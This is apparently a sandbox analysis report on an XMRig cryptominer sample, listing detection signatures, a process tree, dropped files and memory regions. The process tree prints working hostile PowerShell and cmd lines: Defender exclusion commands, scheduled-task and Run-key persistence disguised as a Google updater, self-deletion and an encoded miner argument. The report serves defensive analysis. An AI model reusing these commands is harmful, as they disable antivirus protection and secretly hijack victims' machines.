Resubmissions

21/07/2024, 20:17

240721-y27lvsvfll 10

06/06/2024, 10:00

240606-l14glacf9x 10

06/06/2024, 10:00

240606-l12yrscf9w 10

06/06/2024, 09:56

240606-lyrd9acf71 10

06/06/2024, 09:55

240606-lx1xascf7v 10

06/06/2024, 09:55

240606-lxyf6scf7t 10

06/06/2024, 09:35

240606-lkvvhsce2y 10

06/06/2024, 09:32

240606-lhs8xacd7v 10

06/06/2024, 09:32

240606-lhsx5sdd47 10

Analysis

  • max time kernel
    1800s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 09:32

General

  • Target

    qM5GMXBk6hJE6Y5e (28).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 27 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3520
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:540
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1944
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5092
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3924
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3744
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:5096
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3124
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4344
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3276
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2964
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3444
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2768

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            a43e653ffb5ab07940f4bdd9cc8fade4

            SHA1

            af43d04e3427f111b22dc891c5c7ee8a10ac4123

            SHA256

            c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe

            SHA512

            62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            20ded99aaae0f053d8e281c66f754d3b

            SHA1

            330c58bef8b0e74a0bb7af793632c6b5e26993ee

            SHA256

            3b574cecd60edbe127171f2a0b5aa3f6531218d9894541d3b8b2ac84715430f4

            SHA512

            a7fee871aeb6234aab44e08b5817c2a5670d4c8e06f666b5ecd56bcc716432e7fd8484a8d07e6b92b9dea197ac2dc3f825c3539a34b98c1b17ae1487a5db92a6

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            a084085c1e171dbcbc9b3ca36ca51413

            SHA1

            32c74da1846ed93dc1ed808e3f9d8b6ea9c6ef82

            SHA256

            5c63127c8c26c21cb39edbafcaa7c4cc18be20fa8bcc7e46968e67b80a94bc64

            SHA512

            3e51800a8069e14afcd30486a1291b87255d87dd0cd2d4b583f02b440886dbddb7f590ae06a12503df079eccad4ef353bb13920ec0b3ded5ee936d43900bd455

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0coyakf.nxj.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            7b1fe6890101f73a0c9796d8d585b168

            SHA1

            56eb99ee341b880cf7a80ebc705371aea87b3743

            SHA256

            93ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca

            SHA512

            fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            2722730a0cf82161fb1452b600334796

            SHA1

            4479415f50cd9ab55c4f7bcdc1a0a5177492f053

            SHA256

            a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833

            SHA512

            54ec97b79003db56fb1ca44b33a1c2a9748014a3c1dc84fdb2afca84d3c6618ad88ccb353d52078789e3e0ed0ee6c763a74bf34cea1334e427a264db9171dfb0

          • memory/2164-12-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/2164-16-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/2164-13-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/2164-11-0x000001AA7BAA0000-0x000001AA7BAC2000-memory.dmp

            Filesize

            136KB

          • memory/2164-1-0x00007FFCDAE33000-0x00007FFCDAE35000-memory.dmp

            Filesize

            8KB

          • memory/2768-106-0x00007FF6D2360000-0x00007FF6D2571000-memory.dmp

            Filesize

            2.1MB

          • memory/2768-49-0x00007FF6D2360000-0x00007FF6D2571000-memory.dmp

            Filesize

            2.1MB

          • memory/3124-113-0x00007FF73EBC0000-0x00007FF73EBD6000-memory.dmp

            Filesize

            88KB

          • memory/3124-109-0x00007FF73EBC0000-0x00007FF73EBD6000-memory.dmp

            Filesize

            88KB

          • memory/3444-108-0x00000294C6E40000-0x00000294C6E60000-memory.dmp

            Filesize

            128KB

          • memory/3444-145-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-167-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-165-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-163-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-161-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-159-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-157-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-155-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-153-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-151-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-149-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-147-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-143-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-141-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-139-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-107-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-137-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-110-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-112-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-115-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-114-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-135-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-117-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-119-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-121-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-123-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-125-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-127-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-129-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-131-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3444-133-0x00007FF659140000-0x00007FF659934000-memory.dmp

            Filesize

            8.0MB

          • memory/3584-0-0x00007FF79ACF0000-0x00007FF79AF01000-memory.dmp

            Filesize

            2.1MB

          • memory/3584-36-0x00007FF79ACF0000-0x00007FF79AF01000-memory.dmp

            Filesize

            2.1MB

          • memory/3744-76-0x000001B049190000-0x000001B04919A000-memory.dmp

            Filesize

            40KB

          • memory/3744-68-0x000001B048F10000-0x000001B048F2C000-memory.dmp

            Filesize

            112KB

          • memory/3744-69-0x000001B048F30000-0x000001B048FE5000-memory.dmp

            Filesize

            724KB

          • memory/3744-70-0x000001B048FF0000-0x000001B048FFA000-memory.dmp

            Filesize

            40KB

          • memory/3744-72-0x000001B049140000-0x000001B04914A000-memory.dmp

            Filesize

            40KB

          • memory/3744-71-0x000001B049160000-0x000001B04917C000-memory.dmp

            Filesize

            112KB

          • memory/3744-73-0x000001B0491A0000-0x000001B0491BA000-memory.dmp

            Filesize

            104KB

          • memory/3744-74-0x000001B049150000-0x000001B049158000-memory.dmp

            Filesize

            32KB

          • memory/3744-75-0x000001B049180000-0x000001B049186000-memory.dmp

            Filesize

            24KB

          • memory/4144-31-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/4144-33-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/4144-34-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/4144-28-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/4144-30-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB

          • memory/4144-29-0x00007FFCDAE30000-0x00007FFCDB8F1000-memory.dmp

            Filesize

            10.8MB